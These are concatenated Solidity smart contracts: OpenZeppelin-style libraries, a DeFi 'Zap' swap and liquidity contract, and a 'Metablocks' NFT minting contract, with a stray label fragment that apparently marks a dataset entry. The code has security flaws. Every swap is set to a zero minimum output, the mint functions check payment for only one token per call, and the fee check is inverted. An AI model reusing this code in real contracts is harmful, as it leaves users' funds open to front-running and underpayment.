* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// Part: TransferHelper
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Zap.sol
contract Zap is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
address private WNATIVE = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private FEE_TO_ADDR;
uint16 FEE_RATE;
uint16 MIN_AMT;
mapping(address => mapping(address => address)) private tokenBridgeForRouter;
event FeeChange(address fee_to, uint16 rate, uint16 min);
mapping (address => bool) public useNativeRouter;
constructor() Ownable() {
FEE_TO_ADDR = msg.sender;
FEE_RATE = 330;
MIN_AMT = 10000;
}
/* ========== External Functions ========== */
receive() external payable {}
function zapInToken(address _from, uint amount, address _to, address routerAddr, address _recipient) external {
// From an ERC20 to an LP token, through specified router, going through base asset if necessary
IERC20(_from).safeTransferFrom(msg.sender, address(this), amount);
// we'll need this approval to add liquidity
_approveTokenIfNeeded(_from, routerAddr);
_swapTokenToLP(_from, amount, _to, _recipient, routerAddr);
}
function estimateZapInToken(address _from, address _to, address _router, uint _amt) public view returns (uint256, uint256) {
// get pairs for desired lp
if (_from == IUniswapV2Pair(_to).token0() || _from == IUniswapV2Pair(_to).token1()) { // check if we already have one of the assets
// if so, we're going to sell half of _from for the other token we need
// figure out which token we need, and approve
address other = _from == IUniswapV2Pair(_to).token0() ? IUniswapV2Pair(_to).token1() : IUniswapV2Pair(_to).token0();
// calculate amount of _from to sell
uint sellAmount = _amt.div(2);
// execute swap
uint otherAmount = _estimateSwap(_from, sellAmount, other, _router);
if (_from == IUniswapV2Pair(_to).token0()) {
return (sellAmount, otherAmount);
} else {
return (otherAmount, sellAmount);
}
} else {
// go through native token for highest liquidity
uint nativeAmount = _from == WNATIVE ? _amt : _estimateSwap(_from, _amt, WNATIVE, _router);
return estimateZapIn(_to, _router, nativeAmount);
}
}
function zapIn(address _to, address routerAddr, address _recipient) external payable {
// from Native to an LP token through the specified router
_swapNativeToLP(_to, msg.value, _recipient, routerAddr);
}
function estimateZapIn(address _LP, address _router, uint _amt) public view returns (uint256, uint256) {
uint zapAmt = _amt.div(2);
IUniswapV2Pair pair = IUniswapV2Pair(_LP);
address token0 = pair.token0();
address token1 = pair.token1();
if (token0 == WNATIVE || token1 == WNATIVE) {
address token = token0 == WNATIVE ? token1 : token0;
uint tokenAmt = _estimateSwap(WNATIVE, zapAmt, token, _router);
if (token0 == WNATIVE) {
return (zapAmt, tokenAmt);
} else {
return (tokenAmt, zapAmt);
}
} else {
uint token0Amt = _estimateSwap(WNATIVE, zapAmt, token0, _router);
uint token1Amt = _estimateSwap(WNATIVE, zapAmt, token1, _router);
return (token0Amt, token1Amt);
}
}
function zapAcross(address _from, uint amount, address _toRouter, address _recipient) external {
IERC20(_from).safeTransferFrom(msg.sender, address(this), amount);
IUniswapV2Pair pair = IUniswapV2Pair(_from);
_approveTokenIfNeeded(pair.token0(), _toRouter);
_approveTokenIfNeeded(pair.token1(), _toRouter);
IERC20(_from).safeTransfer(_from, amount);
uint amt0;
uint amt1;
(amt0, amt1) = pair.burn(address(this));
IUniswapV2Router01(_toRouter).addLiquidity(pair.token0(), pair.token1(), amt0, amt1, 0, 0, _recipient, block.timestamp);
}
function zapOut(address _from, uint amount, address routerAddr, address _recipient) external {
// from an LP token to Native through specified router
// take the LP token
IERC20(_from).safeTransferFrom(msg.sender, address(this), amount);
_approveTokenIfNeeded(_from, routerAddr);
// get pairs for LP
address token0 = IUniswapV2Pair(_from).token0();
address token1 = IUniswapV2Pair(_from).token1();
_approveTokenIfNeeded(token0, routerAddr);
_approveTokenIfNeeded(token1, routerAddr);
// check if either is already native token
if (token0 == WNATIVE || token1 == WNATIVE) {
// if so, we only need to swap one, figure out which and how much
address token = token0 != WNATIVE ? token0 : token1;
uint amtToken;
uint amtETH;
(amtToken, amtETH) = IUniswapV2Router01(routerAddr).removeLiquidityETH(token, amount, 0, 0, address(this), block.timestamp);
// swap with msg.sender as recipient, so they already get the Native
_swapTokenForNative(token, amtToken, _recipient, routerAddr);
// send other half of Native
TransferHelper.safeTransferETH(_recipient, amtETH);
} else {
// convert both for Native with msg.sender as recipient
uint amt0;
uint amt1;
(amt0, amt1) = IUniswapV2Router01(routerAddr).removeLiquidity(token0, token1, amount, 0, 0, address(this), block.timestamp);
_swapTokenForNative(token0, amt0, _recipient, routerAddr);
_swapTokenForNative(token1, amt1, _recipient, routerAddr);
}
}
function zapOutToken(address _from, uint amount, address _to, address routerAddr, address _recipient) external {
// from an LP token to an ERC20 through specified router
IERC20(_from).safeTransferFrom(msg.sender, address(this), amount);
_approveTokenIfNeeded(_from, routerAddr);
address token0 = IUniswapV2Pair(_from).token0();
address token1 = IUniswapV2Pair(_from).token1();
_approveTokenIfNeeded(token0, routerAddr);
_approveTokenIfNeeded(token1, routerAddr);
uint amt0;
uint amt1;
(amt0, amt1) = IUniswapV2Router01(routerAddr).removeLiquidity(token0, token1, amount, 0, 0, address(this), block.timestamp);
if (token0 != _to) {
amt0 = _swap(token0, amt0, _to, address(this), routerAddr);
}
if (token1 != _to) {
amt1 = _swap(token1, amt1, _to, address(this), routerAddr);
}
IERC20(_to).safeTransfer(_recipient, amt0.add(amt1));
}
function swapToken(address _from, uint amount, address _to, address routerAddr, address _recipient) external {
IERC20(_from).safeTransferFrom(msg.sender, address(this), amount);
_approveTokenIfNeeded(_from, routerAddr);
_swap(_from, amount, _to, _recipient, routerAddr);
}
function swapToNative(address _from, uint amount, address routerAddr, address _recipient) external {
IERC20(_from).safeTransferFrom(msg.sender, address(this), amount);
_approveTokenIfNeeded(_from, routerAddr);
_swapTokenForNative(_from, amount, _recipient, routerAddr);
}
/* ========== Private Functions ========== */
function _approveTokenIfNeeded(address token, address router) private {
if (IERC20(token).allowance(address(this), router) == 0) {
IERC20(token).safeApprove(router, type(uint).max);
}
}
function _swapTokenToLP(address _from, uint amount, address _to, address recipient, address routerAddr) private returns (uint) {
// get pairs for desired lp
if (_from == IUniswapV2Pair(_to).token0() || _from == IUniswapV2Pair(_to).token1()) { // check if we already have one of the assets
// if so, we're going to sell half of _from for the other token we need
// figure out which token we need, and approve
address other = _from == IUniswapV2Pair(_to).token0() ? IUniswapV2Pair(_to).token1() : IUniswapV2Pair(_to).token0();
_approveTokenIfNeeded(other, routerAddr);
// calculate amount of _from to sell
uint sellAmount = amount.div(2);
// execute swap
uint otherAmount = _swap(_from, sellAmount, other, address(this), routerAddr);
uint liquidity;
( , , liquidity) = IUniswapV2Router01(routerAddr).addLiquidity(_from, other, amount.sub(sellAmount), otherAmount, 0, 0, recipient, block.timestamp);
return liquidity;
} else {
// go through native token for highest liquidity
uint nativeAmount = _swapTokenForNative(_from, amount, address(this), routerAddr);
return _swapNativeToLP(_to, nativeAmount, recipient, routerAddr);
}
}
function _swapNativeToLP(address _LP, uint amount, address recipient, address routerAddress) private returns (uint) {
// LP
IUniswapV2Pair pair = IUniswapV2Pair(_LP);
address token0 = pair.token0();
address token1 = pair.token1();
uint liquidity;
if (token0 == WNATIVE || token1 == WNATIVE) {
address token = token0 == WNATIVE ? token1 : token0;
( , , liquidity) = _swapHalfNativeAndProvide(token, amount, routerAddress, recipient);
} else {
( , , liquidity) = _swapNativeToEqualTokensAndProvide(token0, token1, amount, routerAddress, recipient);
}
return liquidity;
}
function _swapHalfNativeAndProvide(address token, uint amount, address routerAddress, address recipient) private returns (uint, uint, uint) {
uint swapValue = amount.div(2);
uint tokenAmount = _swapNativeForToken(token, swapValue, address(this), routerAddress);
_approveTokenIfNeeded(token, routerAddress);
if (useNativeRouter[routerAddress]) {
IHyperswapRouter01 router = IHyperswapRouter01(routerAddress);
return router.addLiquidityETH{value : amount.sub(swapValue)}(token, tokenAmount, 0, 0, recipient, block.timestamp);
}
else {
IUniswapV2Router01 router = IUniswapV2Router01(routerAddress);
return router.addLiquidityETH{value : amount.sub(swapValue)}(token, tokenAmount, 0, 0, recipient, block.timestamp);
}
}
function _swapNativeToEqualTokensAndProvide(address token0, address token1, uint amount, address routerAddress, address recipient) private returns (uint, uint, uint) {
uint swapValue = amount.div(2);
uint token0Amount = _swapNativeForToken(token0, swapValue, address(this), routerAddress);
uint token1Amount = _swapNativeForToken(token1, amount.sub(swapValue), address(this), routerAddress);
_approveTokenIfNeeded(token0, routerAddress);
_approveTokenIfNeeded(token1, routerAddress);
IUniswapV2Router01 router = IUniswapV2Router01(routerAddress);
return router.addLiquidity(token0, token1, token0Amount, token1Amount, 0, 0, recipient, block.timestamp);
}
function _swapNativeForToken(address token, uint value, address recipient, address routerAddr) private returns (uint) {
address[] memory path;
IUniswapV2Router01 router = IUniswapV2Router01(routerAddr);
if (tokenBridgeForRouter[token][routerAddr] != address(0)) {
path = new address[](3);
path[0] = WNATIVE;
path[1] = tokenBridgeForRouter[token][routerAddr];
path[2] = token;
} else {
path = new address[](2);
path[0] = WNATIVE;
path[1] = token;
}
uint[] memory amounts = router.swapExactETHForTokens{value : value}(0, path, recipient, block.timestamp);
return amounts[amounts.length - 1];
}
function _swapTokenForNative(address token, uint amount, address recipient, address routerAddr) private returns (uint) {
address[] memory path;
IUniswapV2Router01 router = IUniswapV2Router01(routerAddr);
if (tokenBridgeForRouter[token][routerAddr] != address(0)) {
path = new address[](3);
path[0] = token;
path[1] = tokenBridgeForRouter[token][routerAddr];
path[2] = router.WETH();
} else {
path = new address[](2);
path[0] = token;
path[1] = router.WETH();
}
uint[] memory amounts = router.swapExactTokensForETH(amount, 0, path, recipient, block.timestamp);
return amounts[amounts.length - 1];
}
function _swap(address _from, uint amount, address _to, address recipient, address routerAddr) private returns (uint) {
IUniswapV2Router01 router = IUniswapV2Router01(routerAddr);
address fromBridge = tokenBridgeForRouter[_from][routerAddr];
address toBridge = tokenBridgeForRouter[_to][routerAddr];
address[] memory path;
if (fromBridge != address(0) && toBridge != address(0)) {
if (fromBridge != toBridge) {
path = new address[](5);
path[0] = _from;
path[1] = fromBridge;
path[2] = WNATIVE;
path[3] = toBridge;
path[4] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = fromBridge;
path[2] = _to;
}
} else if (fromBridge != address(0)) {
if (_to == WNATIVE) {
path = new address[](3);
path[0] = _from;
path[1] = fromBridge;
path[2] = WNATIVE;
} else {
path = new address[](4);
path[0] = _from;
path[1] = fromBridge;
path[2] = WNATIVE;
path[3] = _to;
}
} else if (toBridge != address(0)) {
path = new address[](4);
path[0] = _from;
path[1] = WNATIVE;
path[2] = toBridge;
path[3] = _to;
} else if (_from == WNATIVE || _to == WNATIVE) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
// Go through WNative
path = new address[](3);
path[0] = _from;
path[1] = WNATIVE;
path[2] = _to;
}
uint[] memory amounts = router.swapExactTokensForTokens(amount, 0, path, recipient, block.timestamp);
return amounts[amounts.length - 1];
}
function _estimateSwap(address _from, uint amount, address _to, address routerAddr) private view returns (uint) {
IUniswapV2Router01 router = IUniswapV2Router01(routerAddr);
address fromBridge = tokenBridgeForRouter[_from][routerAddr];
address toBridge = tokenBridgeForRouter[_to][routerAddr];
address[] memory path;
if (fromBridge != address(0) && toBridge != address(0)) {
if (fromBridge != toBridge) {
path = new address[](5);
path[0] = _from;
path[1] = fromBridge;
path[2] = WNATIVE;
path[3] = toBridge;
path[4] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = fromBridge;
path[2] = _to;
}
} else if (fromBridge != address(0)) {
if (_to == WNATIVE) {
path = new address[](3);
path[0] = _from;
path[1] = fromBridge;
path[2] = WNATIVE;
} else {
path = new address[](4);
path[0] = _from;
path[1] = fromBridge;
path[2] = WNATIVE;
path[3] = _to;
}
} else if (toBridge != address(0)) {
path = new address[](4);
path[0] = _from;
path[1] = WNATIVE;
path[2] = toBridge;
path[3] = _to;
} else if (_from == WNATIVE || _to == WNATIVE) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
// Go through WNative
path = new address[](3);
path[0] = _from;
path[1] = WNATIVE;
path[2] = _to;
}
uint[] memory amounts = router.getAmountsOut(amount, path);
return amounts[amounts.length - 1];
}
/* ========== RESTRICTED FUNCTIONS ========== */
function setTokenBridgeForRouter(address token, address router, address bridgeToken) external onlyOwner {
tokenBridgeForRouter[token][router] = bridgeToken;
}
function withdraw(address token) external onlyOwner {
if (token == address(0)) {
payable(owner()).transfer(address(this).balance);
return;
}
IERC20(token).transfer(owner(), IERC20(token).balanceOf(address(this)));
}
function setUseNativeRouter(address router) external onlyOwner {
useNativeRouter[router] = true;
}
function setFee(address addr, uint16 rate, uint16 min) external onlyOwner {
require(rate >= 25, "FEE TOO HIGH; MAX FEE = 4%");
FEE_TO_ADDR = addr;
FEE_RATE = rate;
MIN_AMT = min;
emit FeeChange(addr, rate, min);
}
} | True | [
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|
// contracts/MyNFT.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "ReentrancyGuard.sol";
import "MerkleProof.sol";
import "Ownable.sol";
import "ERC721A.sol";
contract Metablocks is ERC721A, ReentrancyGuard, Ownable {
using Strings for uint256;
// uint256 public constant decimals = 18;
uint256 public constant _whiteBatch = 2;
uint256 public constant _whiteMaxMint = 2;
uint256 public constant _publicBatch = 2;
uint256 public constant _publicMaxMint = 8888;
uint256 public reservedForPrivileged = 30;
uint256 public eth_mint_price;
uint256 public maxNftCap;
string private _notRevealedURL;
string private _revealedURL;
bytes32 private _merkleRootHash;
address private _developer;
address[2] private _whitdrawAddr;
enum Stages {
NotStarted,
OnlyWhitelistMint,
PublicMint,
Revealed
}
Stages private _currentStage = Stages.NotStarted;
mapping(address => uint256) private _whiteCapMap;
mapping(address => uint256) private _publicCapMap;
// Constructor,
constructor(
address param_whitdrawAddr1,
address param_whitdrawAddr2,
uint256 param_maxNftCap,
uint256 param_eth_mint_price,
string memory param_notRevealedURL,
string memory param_revealedURL,
bytes32 param_root_hash
) ERC721A("Metablock", "MB") {
//Withdrawals
_whitdrawAddr[0] = param_whitdrawAddr1;
_whitdrawAddr[1] = param_whitdrawAddr2;
//Nft config
maxNftCap = param_maxNftCap;
eth_mint_price = param_eth_mint_price;
// Urls
_notRevealedURL = param_notRevealedURL;
_revealedURL = param_revealedURL;
// Developer
_developer = msg.sender;
_merkleRootHash = param_root_hash;
}
// Modifiers / Rights
modifier developerOnly() {
require(msg.sender == _developer, "You are not a developer");
_;
}
modifier withdrawerOnly() {
require( (msg.sender == _whitdrawAddr[0]) || (msg.sender == _whitdrawAddr[1]), "You are not a withdrawer" );
_;
}
modifier privilegedOnly() {
require( (msg.sender == _whitdrawAddr[0]) ||
(msg.sender == _whitdrawAddr[1]) ||
(msg.sender == _developer),
"You are not privileged." );
_;
}
// MINTING FUNCTIONS
function PublicMint(uint256 quant) external payable {
require(_currentStage == Stages.PublicMint, "It is not the public mint stage.");
require(msg.value >= eth_mint_price, "You don't have enough ETH");
// Mint config for public
require(quant <= _publicBatch);
require(_publicCapMap[msg.sender] + quant <= _publicMaxMint);
require( _currentIndex + quant <= maxNftCap , "Maximum nft reached" );
_safeMint(msg.sender, quant);
_publicCapMap[msg.sender] += quant;
}
function WhitelistMint(uint256 quant, bytes32[] calldata _merkleProof ) external payable {
require(_currentStage == Stages.OnlyWhitelistMint, "Whitelist stage is over. Try public mint.");
require(msg.value >= eth_mint_price, "You don't have enough ETH");
//Check whitelisted members!
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, _merkleRootHash, leaf), "Invalid proof");
// Mint config for whitelisted members
require(quant <= _whiteBatch);
require(_whiteCapMap[msg.sender] + quant <= _whiteMaxMint);
require( _currentIndex + quant <= maxNftCap , "Maximum nft reached" );
_safeMint(msg.sender, quant);
_whiteCapMap[msg.sender] += quant;
}
function OwnerMint(uint256 quant, address to) external privilegedOnly{
require(quant <= reservedForPrivileged);
_safeMint(to, quant);
reservedForPrivileged -= quant;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (_currentStage != Stages.Revealed) {
return string(abi.encodePacked(_notRevealedURL));
} else {
return string(abi.encodePacked(_revealedURL, tokenId.toString()));
}
}
function CurrentStage() public view returns (string memory) {
string memory ret;
if (_currentStage == Stages.NotStarted) ret = "NotStarted";
if (_currentStage == Stages.OnlyWhitelistMint) ret = "OnlyWhitelistMint";
if (_currentStage == Stages.PublicMint) ret = "PublicMint";
if (_currentStage == Stages.Revealed) ret = "Revealed";
return ret;
}
// GETTER FUNCTIONS
function getSmartContractBalance() public view returns (uint256) {
return address(this).balance;
}
// SETTER FUNCTIONS
function set_maxNftCap(uint256 x) external developerOnly{
maxNftCap = x;
}
function set_notRevealedUrl(string memory x) external developerOnly{
_notRevealedURL = x;
}
function set_revealedUrf(string memory x) external developerOnly{
_revealedURL = x;
}
function set_eth_mint_price(uint256 x) external developerOnly{
eth_mint_price = x;
}
function set_merkleRootHash(bytes32 x) external developerOnly{
_merkleRootHash = x;
}
// DEVELOPER FUNCTIONS ONLY
function goNextStage() public developerOnly() {
require(_currentStage != Stages.Revealed);
if (_currentStage == Stages.NotStarted) _currentStage = Stages.OnlyWhitelistMint;
else if (_currentStage == Stages.OnlyWhitelistMint) _currentStage = Stages.PublicMint;
else if (_currentStage == Stages.PublicMint) _currentStage = Stages.Revealed;
}
function goPreviousStage() public developerOnly() {
require(_currentStage != Stages.NotStarted);
if (_currentStage == Stages.Revealed) _currentStage = Stages.PublicMint;
else if (_currentStage == Stages.PublicMint) _currentStage = Stages.OnlyWhitelistMint;
else if (_currentStage == Stages.OnlyWhitelistMint) _currentStage = Stages.NotStarted;
}
// WITHDRAWER FUNCTIONS ONLY
function withdrawAll() external withdrawerOnly nonReentrant {
require(getSmartContractBalance() > 0, "Smart Contracts wallet is empty");
uint256 _currentB = getSmartContractBalance();
uint256 _divedB = _currentB/2;
require(_divedB<_currentB);
(bool success1, ) = payable(_whitdrawAddr[0]).call{value: _divedB}("");
(bool success2, ) = payable(_whitdrawAddr[1]).call{value: _divedB}("");
require(success1, "Failed withdraw ");
require(success2, "Failed withdraw ");
}
function isAWithdrawal(address sender) external view returns(bool){
return sender == _whitdrawAddr[0] || sender == _whitdrawAddr[1];
}
function isOnWhitelist(address sender, bytes32[] calldata _merkleProof ) external view returns(bool){
//Check whitelisted members!
bytes32 leaf = keccak256(abi.encodePacked(sender));
bool ret = MerkleProof.verify(_merkleProof, _merkleRootHash, leaf);
return ret;
}
// helpful functions
function _bytes32ToAdress(bytes32 data) internal pure returns (address) {
return address(uint160(uint256(data)));
}
// temp_ functions
function send_eth() public payable {
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
